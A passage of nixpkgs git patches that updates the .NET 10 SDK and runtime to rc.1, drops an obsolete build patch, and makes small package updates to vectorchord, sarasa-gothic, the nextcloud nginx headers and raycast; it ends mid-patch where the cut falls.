+        hash = "sha512-v2t/ca+OsG6guof80owXgiLQ/JOlscqTZgA8JPyvvcSXs4gJ5DEKl7+wT9J6C26JLnbo1AP2AY1vyViMajgXDw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm.tar.gz";
-        hash = "sha512-aCCXjXxzep/7Pj9IGsDDAm3FRsH0JzlqgwkCdTiwhu+QEHHiKiCJt3ivXlG8aJpEFCAs79lgkc0zAVtQ9+GtHA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-musl-arm.tar.gz";
+        hash = "sha512-GXH4Fi6PENK4qKMT7s1BgF00kdKHLGIrzxhdnBf+ghg3CvAhkg0AKXnOa7EEO/eg2RPi8nNG1kveoXxJmTWVIg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-xJAlZHKLkx0jIHojHNSUZCKvqtFQjpGMISfcgjbc/yqVNXQQ4vC61bLYcZxkFMIJLQk4DDrnAVG1kgoyuzOHzw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-KU3/OCc6q1Muqu15ATmRJQkGEvIfjC45OIXGG2Saq/WkzLhQ2GYvBI1aIfNb8wArA+AcVJd0d6NRkAhKbtJfWQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-linux-musl-x64.tar.gz";
-        hash = "sha512-wCfUh5zikKE4NaJWtYraqu2hdvCYgsej42+w4ik7Qo7/U+YhpHj+xF2SjxeL3VLn9KK03p4C0gSUxLmSXMtkBg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-linux-musl-x64.tar.gz";
+        hash = "sha512-FHVFTKpRnNOvpr+3qVF1B8SRTFPQp5KO9/XTQqVr2jUaUL3ClCT648tezazSPX7zwYfdx5kyzKRjm5qkMbElbQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-arm64.tar.gz";
-        hash = "sha512-72B+c82XraPNoxoMvqVWzWBAmiYSqUEnJxub+SXhLfhM97MmsLXt3s07rON/1vpwENSHzdxcIyR0Xe2W+LymAA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-osx-arm64.tar.gz";
+        hash = "sha512-2faVsHe0g93Wririe3Hn3hY5sR+jGQVIKhvJdXSHrNVL9qR4FrAkQVjZG3ZCPFQsaiguR3BaFFJXYergsvpQRw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.7.25380.108/dotnet-runtime-10.0.0-preview.7.25380.108-osx-x64.tar.gz";
-        hash = "sha512-4kBn/dR8b/jTCNNnNwK6FD/a3VC0pRca8qq36AYz7uGeZqC2lAvqSq6Yik05EVWjW6eOV3YM3d2lr169M1s9EA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-rc.1.25451.107/dotnet-runtime-10.0.0-rc.1.25451.107-osx-x64.tar.gz";
+        hash = "sha512-XOjEkl0dL3D2/NbRpP0AH6wFowKWElGaHpbNeE1WmkgT6PHIWlE463WiLdPE7C2acEZciQQqaFdqeWWZbl7agw==";
       };
     };
   };
 
   sdk_10_0_1xx = buildNetSdk {
-    version = "10.0.100-preview.7.25380.108";
+    version = "10.0.100-rc.1.25451.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm.tar.gz";
-        hash = "sha512-knm/wwbPU/3AJnPGjrwGgYsm+wXukE/zFej/UoqNWLU0KoZkIjOkpnIi9Qe2ARC4IYSSx7l5cb7nj7EKFfiu6A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-arm.tar.gz";
+        hash = "sha512-SnuClIY0v0mB5HspK/xPlAeSWTbqc2QgpRrM8OzQXG4aqhx/+UDvV1CxHNe5AkkLii9NpzDtcphGJwdR860LVg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-arm64.tar.gz";
-        hash = "sha512-qBiJz0LOz2FqdoXKsXUIaUzug+dqlhnGTomvr/TTgmaOpMft/etEU6DBPfzurIZuo9D+BfPfEkY4pMpYtP2nJQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-arm64.tar.gz";
+        hash = "sha512-calHXMECIFjzOR7vhQtRhEDS4TTeY7HLi+BIqw3NwTOSiMVlboBrEJemA/0cJl1OZ3NZCCYRRiSC7kAvr/rD0g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-x64.tar.gz";
-        hash = "sha512-KNA8LaQR6BYb+jcUjzX/Yi6qI0GtzXKae1I/dKoh6Pf2UBnaENKG1nhY0Z/2AII4C4dDbfm8zicUe0/bIShvsg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-x64.tar.gz";
+        hash = "sha512-uzS5PVriMQHmd0gA1hJDwjatAfJ7IqFnDZh8EGjOB1YBtN/VITIKclplS2Vf/ZEoeLL8hDYXoLOMWmHzCkzSnw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm.tar.gz";
-        hash = "sha512-D65/QdZ5g5I0GWMqoc+JW9K+0oaBLcysWLUkrgxrgBuxhVUJ1t9L+EfkxAx5ll31z2BrwH8iV49JzAo+/1dEjQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-musl-arm.tar.gz";
+        hash = "sha512-YdcnEuKVJQ89I0OvqXvnwnK34pIn3Prb0G2aR+wrhxWNOi7B9VnpiZekz3mlQQuFAhpmkKi941BnKEkmsjQusA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-arm64.tar.gz";
-        hash = "sha512-zIjcxU2QbdIS9MOD3gfTSUfMS2RZJAtfwTqei25dfUgrymc1cXixQZUFfviDx+YOT/2ArvSEyYqXOYf+SZPBow==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-/1HV6qNuFkmAr0f5nuX2CbGf188Mr34WfUDG8wMkByshdhUo8mbGuSHAfn+sIkBwHn0bmvirVIvNBdNyCKpVlQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-linux-musl-x64.tar.gz";
-        hash = "sha512-hcpucoRlWBlxrzWL7dJkDADJ11xJysH6mz3plrQKE+lfNbdXPe+u/r38Z0xHjotXn4GhAwvj8WC2cgsx/f1ooQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-linux-musl-x64.tar.gz";
+        hash = "sha512-zH65o01c6pdXkRWRpFX/IJDTIcP/XioWyBGe3+0Tzn7/H/9AgTTYtaYr/7sbiH6mzLYKdJd6XOd6KZc18J4Ciw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-arm64.tar.gz";
-        hash = "sha512-eI/e7V31AEm8/hNwBZzfp0M5CkLZv1LHRVY+qsRL9UqVSqyjVjZLq2tbEIsbbZ4NbPJ8JT0uYrBkQARmn4GXxw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-osx-arm64.tar.gz";
+        hash = "sha512-Q8Uy7gqgPwJF7wVXh4nASCLqacOOhS9XuwobSzR1D20PjHeghcTrDWEwGPg2dK+5CW6Z/OZoqHYwmKvoIbm34A==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.7.25380.108/dotnet-sdk-10.0.100-preview.7.25380.108-osx-x64.tar.gz";
-        hash = "sha512-/Dk0clsJJHMl7hDlaBlhZyKmMPSBS7k8Q7YLLtvTLuI83esARdZACAi4QNBQ7Q3Etbz5WpDeG5MpNrYjVuHqVQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-rc.1.25451.107/dotnet-sdk-10.0.100-rc.1.25451.107-osx-x64.tar.gz";
+        hash = "sha512-k3DDv4JJjXPBc4FCN+zhCMIHWOhCk+dlMoN9h3vn6+mqinL/7os3G7wKzqokEQ03eHFTIneKQhWb0ykQ2p8HaA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/10/deps.json b/pkgs/development/compilers/dotnet/10/deps.json
index 7e94efd6ed1b..9486ae8a4bb6 100644
--- a/pkgs/development/compilers/dotnet/10/deps.json
+++ b/pkgs/development/compilers/dotnet/10/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "aa14afd80807b2b9f4956b8600d20f7d3516aecf05f55d1ca7d905a329cfe83b",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "sha256": "f4222e017b34fd1aab9c18f83a800c6ad506aa9de9c2dbc01ff0d08ee77c64d1",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/10.0.0-rc.1.25420.111/runtime.linux-arm64.microsoft.netcore.ilasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "53c920333f4762f1f79b108726129c1d8c1416ccd76526fe3a9a7ab7a1f93597",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "sha256": "3020dae646564df57f13443c749afdbe02fe696ea6f795657d431e5f134dec5d",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/10.0.0-rc.1.25420.111/runtime.linux-arm64.microsoft.netcore.ildasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
-    "hash": "sha256-KhdfkhtQFehIcwo3koGdmmqSTXZD3jbZUMxj61cX0LA=",
+    "hash": "sha256-6CKoHQ6npL+zAKjx3hgAKAQnMvHC2jircy5A5i41SNA=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/10.0.0-rc.1.25420.111/runtime.linux-x64.microsoft.netcore.ilasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
-    "hash": "sha256-/R26o0IJCYf6Fa/uxTNpRh4E9Sm5JrUlC6yr7V/sMiw=",
+    "hash": "sha256-VNhtqxkzIYd6KHZK86ZagD4P6HCYzgIGERPjhZgDq1U=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/10.0.0-rc.1.25420.111/runtime.linux-x64.microsoft.netcore.ildasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "7a685b61f9aa514104e2d43698696a035b701879262bfd9795ef282a506a572e",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "sha256": "609cd171ad2358ec195d19b9d466a954e8b7ec20b1af6143741aa03840d535b6",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/10.0.0-rc.1.25420.111/runtime.osx-arm64.microsoft.netcore.ilasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "ff8889ae28490cfe2906cf1fb9ea1a299dbe7300e5645d36e1b144ec79ae7374",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "sha256": "7fd9df0ebb210b51a3586afcaf1eea269c7d4d9fb9cffd5931cfacf28c298095",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/10.0.0-rc.1.25420.111/runtime.osx-arm64.microsoft.netcore.ildasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "3a512f5afee951500f328f2c166eb11d877cc0ce8a176358ecc5bbabe8a14f7a",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-preview.7.25322.101/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "sha256": "6107d07f2e0754efe41ef87de31219e7468e7fd305c2c9f2925cb607e7b3c6d0",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/10.0.0-rc.1.25420.111/runtime.osx-x64.microsoft.netcore.ilasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILDAsm",
-    "sha256": "7c0cf48f6a48ab0b7b4cd339aed9c1626873674e614fea33e15ee7c938514e8d",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-preview.7.25322.101/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-preview.7.25322.101.nupkg",
-    "version": "10.0.0-preview.7.25322.101"
+    "sha256": "acb299873fdfea3672631696b78fc40f23347783b43b8464eff262a8598f9bb3",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/299b99f1-f3f1-4630-81e2-4fb223c52e70/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/10.0.0-rc.1.25420.111/runtime.osx-x64.microsoft.netcore.ildasm.10.0.0-rc.1.25420.111.nupkg",
+    "version": "10.0.0-rc.1.25420.111"
   }
 ]
diff --git a/pkgs/development/compilers/dotnet/10/release-info.json b/pkgs/development/compilers/dotnet/10/release-info.json
index 535b6de70133..569be89f26d2 100644
--- a/pkgs/development/compilers/dotnet/10/release-info.json
+++ b/pkgs/development/compilers/dotnet/10/release-info.json
@@ -1,5 +1,5 @@
 {
-  "tarballHash": "sha256-sE7HIeZfg3Q4/izN7ZNg+KHCQAkp7NwJXoe2BA+E4Ww=",
-  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-preview.7.25322.101-1.centos.10-x64.tar.gz",
-  "artifactsHash": "sha256-jwyPybGkBPrmwDBkesqEauTEFNTgBv/sUW3jaUnWbt4="
+  "tarballHash": "sha256-irvbvBrENVa+7C0Vm7bQMcUoirwxwha4BoOiLhD7F4Y=",
+  "artifactsUrl": "https://builds.dotnet.microsoft.com/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.10.0.100-rc.1.25420.111.centos.10-x64.tar.gz",
+  "artifactsHash": "sha256-vXoVORa2ZB7HQ3gUy1L9xZaqBDO/fbTcMt0HlqmcWGA="
 }
diff --git a/pkgs/development/compilers/dotnet/10/release.json b/pkgs/development/compilers/dotnet/10/release.json
index 98a497ec5bc7..b0e6839fc1e9 100644
--- a/pkgs/development/compilers/dotnet/10/release.json
+++ b/pkgs/development/compilers/dotnet/10/release.json
@@ -1,11 +1,11 @@
 {
-  "release": "10.0.0-preview.7",
+  "release": "10.0.0-rc.1",
   "channel": "10.0",
-  "tag": "v10.0.100-preview.7.25380.108",
-  "sdkVersion": "10.0.100-preview.7.25380.108",
-  "runtimeVersion": "10.0.0-preview.7.25380.108",
-  "aspNetCoreVersion": "10.0.0-preview.7.25380.108",
+  "tag": "v10.0.100-rc.1.25451.107",
+  "sdkVersion": "10.0.100-rc.1.25451.107",
+  "runtimeVersion": "10.0.0-rc.1.25451.107",
+  "aspNetCoreVersion": "10.0.0-rc.1.25451.107",
   "sourceRepository": "https://github.com/dotnet/dotnet",
-  "sourceVersion": "30000d883e06c122311a66894579bc12329a09d4",
-  "officialBuildId": "20250730.8"
+  "sourceVersion": "2db1f5ee2bdda2e8d873769325fabede32e420e0",
+  "officialBuildId": "20250901.7"
 }
diff --git a/pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch b/pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch
deleted file mode 100644
index a6e95daf1841..000000000000
--- a/pkgs/development/compilers/dotnet/mscordac-fix-missing-libunwind-symbols-on-linux.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 9ec09da8755f2888a2ae15c52e223953785bc146 Mon Sep 17 00:00:00 2001
-From: David McFarland <corngood@gmail.com>
-Date: Wed, 13 Aug 2025 16:03:41 -0300
-Subject: [PATCH] mscordac: fix missing libunwind symbols on linux
-
----
- src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt | 12 ++++++------
- 1 file changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt b/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt
-index 71b69336e2e..dc3b79d6933 100644
---- a/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt
-+++ b/src/runtime/src/coreclr/dlls/mscordac/CMakeLists.txt
-@@ -157,6 +157,12 @@ set(COREDAC_LIBRARIES
-     ${END_LIBRARY_GROUP} # End group of libraries that have circular references
- )
- 
-+if(CLR_CMAKE_HOST_UNIX)
-+    list(APPEND COREDAC_LIBRARIES
-+        coreclrpal_dac
-+    )
-+endif(CLR_CMAKE_HOST_UNIX)
-+
- if(CLR_CMAKE_HOST_WIN32)
-     # mscordac.def should be generated before mscordaccore.dll is built
-     add_dependencies(mscordaccore mscordaccore_def)
-@@ -205,12 +211,6 @@ if(CLR_CMAKE_HOST_WIN32 AND CLR_CMAKE_TARGET_UNIX)
-     )
- endif(CLR_CMAKE_HOST_WIN32 AND CLR_CMAKE_TARGET_UNIX)
- 
--if(CLR_CMAKE_HOST_UNIX)
--    list(APPEND COREDAC_LIBRARIES
--        coreclrpal_dac
--    )
--endif(CLR_CMAKE_HOST_UNIX)
--
- target_link_libraries(mscordaccore PRIVATE ${COREDAC_LIBRARIES})
- 
- esrp_sign(mscordaccore)
--- 
-2.50.0
-
diff --git a/pkgs/development/compilers/dotnet/vmr.nix b/pkgs/development/compilers/dotnet/vmr.nix
index aae226361e5b..80c1468eb983 100644
--- a/pkgs/development/compilers/dotnet/vmr.nix
+++ b/pkgs/development/compilers/dotnet/vmr.nix
@@ -143,7 +143,6 @@ stdenv.mkDerivation rec {
       ./fix-aspnetcore-portable-build.patch
     ]
     ++ lib.optionals (lib.versionAtLeast version "10") [
-      ./mscordac-fix-missing-libunwind-symbols-on-linux.patch
       ./bundler-fix-file-size-estimation-when-bundling-symli.patch
     ];
 
@@ -378,7 +377,6 @@ stdenv.mkDerivation rec {
     ''
     + lib.optionalString (lib.versionAtLeast version "10") ''
       dotnet nuget add source "${bootstrapSdk.artifacts}"
-      dotnet nuget add source "${bootstrapSdk.artifacts}/SourceBuildReferencePackages"
     ''
     + ''
       ${prepScript} $prepFlags
@@ -408,6 +406,9 @@ stdenv.mkDerivation rec {
   ++ lib.optionals (lib.versionAtLeast version "9") [
     "--source-build"
   ]
+  ++ lib.optionals (lib.versionAtLeast version "10") [
+    "--branding default"
+  ]
   ++ [
     "--"
     "-p:PortableBuild=true"

From 0d1d0b0057349fe99d529ba8c2b9732db93c93f8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sat, 13 Sep 2025 10:11:32 -0700
Subject: [PATCH 4504/4511] postgresqlPackages.vectorchord: remove
 useFetchCargoVendor

Not-cherry-picked-because: On master this was done in a treewide change.
---
 pkgs/servers/sql/postgresql/ext/vectorchord/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix b/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
index 8b920a5e1257..e155b32960fd 100644
--- a/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
+++ b/pkgs/servers/sql/postgresql/ext/vectorchord/package.nix
@@ -57,7 +57,6 @@ buildPgrxExtension' (finalAttrs: {
     rust-jemalloc-sys'
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8NwfsJn5dnvog3fexzLmO3v7/3+L7xtv+PHWfCCWoHY=";
 
   # Include upgrade scripts in the final package

From 60b0f9f6e84a8e307424b68540c842b65773fd15 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 02:33:39 +0000
Subject: [PATCH 4505/4511] sarasa-gothic: 1.0.31 -> 1.0.32

(cherry picked from commit a4fba03f32d51a702b53a57e4e15f00582aa8a10)
---
 pkgs/by-name/sa/sarasa-gothic/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sa/sarasa-gothic/package.nix b/pkgs/by-name/sa/sarasa-gothic/package.nix
index bde9f2cb2df4..0d72da67a5de 100644
--- a/pkgs/by-name/sa/sarasa-gothic/package.nix
+++ b/pkgs/by-name/sa/sarasa-gothic/package.nix
@@ -7,13 +7,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "sarasa-gothic";
-  version = "1.0.31";
+  version = "1.0.32";
 
   src = fetchurl {
     # Use the 'ttc' files here for a smaller closure size.
     # (Using 'ttf' files gives a closure size about 15x larger, as of November 2021.)
     url = "https://github.com/be5invis/Sarasa-Gothic/releases/download/v${finalAttrs.version}/Sarasa-TTC-${finalAttrs.version}.zip";
-    hash = "sha256-6jVbe37lbpPmNzyiBb6fUfru3EZ71Eco9BuXNzgdQD8=";
+    hash = "sha256-XgWtuNtBqizk9HHiVyQRuUeCBrra2Hq9jnlvZdPjNTQ=";
   };
 
   sourceRoot = ".";

From b7338ccd189a2d05e7d870dae449323423667b9d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sat, 30 Aug 2025 21:31:40 -0700
Subject: [PATCH 4506/4511] nixos/nextcloud: remove X-XSS-Protection

see https://github.com/nextcloud/server/pull/53476

(cherry picked from commit 06c99c29c95b33260b3513adfaa7c0c144d00a56)
---
 nixos/modules/services/web-apps/nextcloud.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/nixos/modules/services/web-apps/nextcloud.nix b/nixos/modules/services/web-apps/nextcloud.nix
index 8c3212b7b2f1..48cb600b94d2 100644
--- a/nixos/modules/services/web-apps/nextcloud.nix
+++ b/nixos/modules/services/web-apps/nextcloud.nix
@@ -1531,7 +1531,6 @@ in
           index index.php index.html /index.php$request_uri;
           ${optionalString (cfg.nginx.recommendedHttpHeaders) ''
             add_header X-Content-Type-Options nosniff;
-            add_header X-XSS-Protection "1; mode=block";
             add_header X-Robots-Tag "noindex, nofollow";
             add_header X-Permitted-Cross-Domain-Policies none;
             add_header X-Frame-Options sameorigin;

From f75ca93c366f8e80176d16113b7c7719ebe729a9 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Sat, 13 Sep 2025 17:51:41 +0300
Subject: [PATCH 4507/4511] raycast: 1.102.5 -> 1.102.7

(cherry picked from commit 5ae6bc6af9107a4a9b45677d6ca0f07e44e0b0a1)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 769381bf6270..ade8e723421b 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.102.5";
+  version = "1.102.7";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
